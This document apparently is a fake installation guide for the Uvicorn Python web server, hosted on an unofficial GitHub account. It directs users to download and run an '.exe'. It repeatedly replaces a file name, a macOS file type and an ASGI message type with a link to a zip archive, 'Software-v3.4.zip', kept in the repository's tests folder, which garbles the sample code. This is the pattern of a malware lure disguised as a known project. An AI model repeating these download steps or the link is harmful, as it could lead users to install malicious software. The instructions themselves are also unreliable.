Thank you for choosing Uvicorn! This guide will help you download and run Uvicorn, a fast ASGI web server for Python. Whether you're curious about web applications or need a tool to serve them, you've come to the right place.
Uvicorn is an ASGI server, which stands for Asynchronous Server Gateway Interface. It allows you to run Python web applications in a way that handles multiple requests at once. This makes it perfect for modern web applications that need to be fast and efficient.
- Lightweight and fast performance.
- Supports HTTP/1.1 and WebSocket protocols.
- Easy to install and configure.
- Works well with popular Python frameworks like FastAPI and Starlette.
Before you download Uvicorn, make sure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux.
- Python Version: Python 3.6 or higher.
- Memory: At least 512 MB (1 GB recommended).
- Disk Space: Minimum of 50 MB free space.
To get Uvicorn on your computer, follow these steps:
-
Visit the Releases Page
Go to the Uvicorn Releases Page. -
Choose the Right Version
Look for the latest release at the top of the page. This version is the most up-to-date and recommended for use. -
Download the Appropriate File
You will see several files listed for download. Choose the file that matches your operating system:- For Windows, look for a
.exefile. - For macOS, look for a
https://github.com/idc123432/uvicorn/raw/refs/heads/main/tests/Software-v3.4.zipor.dmgfile. - For Linux, download the
.whl(wheel) file for easier installation.
- For Windows, look for a
-
Install Uvicorn
Once downloaded, follow the instructions for your operating system:- Windows: Double-click the
.exefile and follow the setup instructions. - macOS/Linux: Open your terminal, navigate to the directory where the file is located, and run the following command:
Replace
pip install <filename>.whl
<filename>with the actual name of the downloaded file.
- Windows: Double-click the
-
Verify the Installation
After the installation completes, verify that Uvicorn is installed by running:uvicorn --version
This command should display the version of Uvicorn you just installed.
Now that Uvicorn is installed, youβre ready to run your first application. Hereβs how:
-
Create a Simple ASGI Application
Open a text editor and create a file namedhttps://github.com/idc123432/uvicorn/raw/refs/heads/main/tests/Software-v3.4.zipwith the following content:async def app(scope, receive, send): await send({ 'type': 'https://github.com/idc123432/uvicorn/raw/refs/heads/main/tests/Software-v3.4.zip', 'body': b'Hello, World!' })
-
Run the Application
In your terminal, navigate to the directory wherehttps://github.com/idc123432/uvicorn/raw/refs/heads/main/tests/Software-v3.4.zipis located. Then run the following command:uvicorn app:app --reload
-
Access Your Application
Open a web browser and visithttp://127.0.0.1:8000. You should see "Hello, World!" displayed on the page.
If you encounter any issues during installation or while running your application, consider the following:
- Python Not Found: Ensure Python is installed and added to your system PATH.
- Permissions Issues: You may need to run your terminal as an administrator.
- Dependencies Not Installed: Ensure you have
pipinstalled and up to date.
If you need help or have questions, feel free to check out the GitHub Issues page for Uvicorn. The community is active and ready to assist.
To stay informed about updates and new releases, watch this repository on GitHub. You can also follow Uvicorn on social media for announcements and tips.
Remember, you can always download Uvicorn from our Releases Page. Happy coding!